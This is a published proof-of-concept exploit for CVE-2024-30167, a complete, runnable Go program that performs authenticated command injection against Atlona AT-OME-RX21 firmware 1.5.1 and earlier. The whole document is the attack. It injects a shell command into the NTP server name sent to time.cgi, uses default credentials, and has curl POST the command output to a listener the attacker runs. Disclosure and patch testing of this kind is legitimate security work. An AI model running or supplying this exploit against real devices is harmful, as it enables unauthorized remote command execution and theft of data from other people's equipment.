Atlona ATOMERX21 - Authenticated Command Injection

// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection
// Google Dork: N/A
// Date: 2025-12-28
// Exploit Author: RIZZZIOM
// Vendor Homepage: https://atlona.com
// Software Link: https://atlona.com/product/at-ome-rx21/
// Version: Firmware <= 1.5.1
// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)
// CVE : CVE-2024-30167
// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>
package main

import (
	"bytes"
	"context"
	"encoding/base64"
	"flag"
	"fmt"
	"io"
	"net/http"
	"os"
	"os/signal"
	"strings"
	"syscall"
	"time"
)

func main() {
	banner := `
		                                                                                  
                                                                                  
▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████ 
██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀ 
▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀   
                    
			PoC by: github.com/RIZZZIOM
	`
	fmt.Println(banner)

	target := flag.String("t", "", "Target URL (e.g: http://example.com)")
	username := flag.String("u", "admin", "Username for authentication")
	password := flag.String("p", "Atlona", "Password for authentication")
	lport := flag.String("P", "4444", "listening port for command output")
	lhost := flag.String("l", "", "listening host for command output")
	command := flag.String("c", "", "Command to execute on the target")

	flag.Parse()
	if *target == "" || *lhost == "" || *command == "" {
		fmt.Println("ERROR: Missing required parameters")
		flag.PrintDefaults()
		os.Exit(1)
	}

	url := strings.TrimRight(*target, "/") + "/cgi-bin/time.cgi"
	listener := *lhost + ":" + *lport

	// Buffered channel to prevent goroutine blocking if receiver exits early
	responseChan := make(chan struct{}, 1)

	// Create context for graceful shutdown coordination
	ctx, cancel := context.WithCancel(context.Background())
	defer cancel()

	// Start HTTP server and get reference for shutdown
	server := httpServe(listener, responseChan, ctx)

	executeCommand(url, *username, *password, listener, *command)

	sigChan := make(chan os.Signal, 1)
	signal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)

	// Timeout to prevent indefinite waiting
	responseTimeout := time.NewTimer(30 * time.Second)
	defer responseTimeout.Stop()

	select {
	case <-responseChan:
		time.Sleep(1 * time.Second)
	case <-sigChan:
		fmt.Printf("\n===Shutting Down===\n")
	case <-responseTimeout.C:
		fmt.Println("\n===Response Timeout - No response received===")
	}

	// Graceful server shutdown
	cancel() // Signal context cancellation
	shutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)
	defer shutdownCancel()

	if err := server.Shutdown(shutdownCtx); err != nil {
		fmt.Printf("Server shutdown error: %v\n", err)
	}
}

func executeCommand(url, username, password, listener, command string) {
	// this func sends the commands to the target
	payload := fmt.Sprintf(`{"syncSntpTime":{"serverName":"time.google.com; curl -X POST --data \"$(%s)\" %s"}}`, command, listener)
	auth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password))
	req, err := http.NewRequest("POST", url, bytes.NewBuffer([]byte(payload)))
	if err != nil {
		panic(err)
	}
	req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0) Firefox/143.0")
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("Authorization", "Basic "+auth)
	req.Header.Set("X-Requested-With", "XMLHttpRequest")

	client := &http.Client{
		Timeout: 15 * time.Second,
	}

	resp, err := client.Do(req)
	if err != nil {
		fmt.Printf("ERROR: Request failed: %v\n", err)
		os.Exit(1)
	}
	defer resp.Body.Close()

	switch resp.StatusCode {
	case 200:
		fmt.Println("Command Injection Successful")
	case 401, 403:
		fmt.Printf("ERROR: Authentication Failed (HTTP %d)\n", resp.StatusCode)
	case 404:
		fmt.Printf("ERROR: Target Endpoint Not Found.\n")
	default:
		fmt.Printf("ERROR: Unexpected Response (HTTP %d)\n", resp.StatusCode)
		body, _ := io.ReadAll(resp.Body)
		if len(body) > 0 {
			fmt.Printf("Response Body: %s\n", string(body))
		}
		os.Exit(1)
	}
}

func getResponse(r *http.Request, responseChan chan struct{}) {
	// this function serves and http server and collects response
	if r.Method != http.MethodPost {
		fmt.Printf("Received non-POST Request(%s)\n", r.Method)
		return
	}
	defer r.Body.Close()
	fmt.Println("\n=====Received Response=====")

	body, err := io.ReadAll(r.Body)
	if err != nil {
		fmt.Printf("Failed To Read Response Body: %v\n", err)
		return
	}
	fmt.Println(string(body))

	// Non-blocking send to prevent goroutine deadlock
	select {
	case responseChan <- struct{}{}:
	default:
	}
}

func httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {
	// this function gets the command injection response from the custom header
	mux := http.NewServeMux()
	mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		getResponse(r, responseChan)
		w.WriteHeader(http.StatusNoContent)
	})

	server := &http.Server{
		Addr:           listener,
		Handler:        mux,
		MaxHeaderBytes: 20 * 1024 * 1024,
		ReadTimeout:    30 * time.Second,
		WriteTimeout:   30 * time.Second,
		IdleTimeout:    60 * time.Second,
	}

	fmt.Printf("Listening on %s for response...\n", listener)

	go func() {
		if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {
			fmt.Printf("ERROR: Server error: %v\n", err)
		}
	}()

	return server
}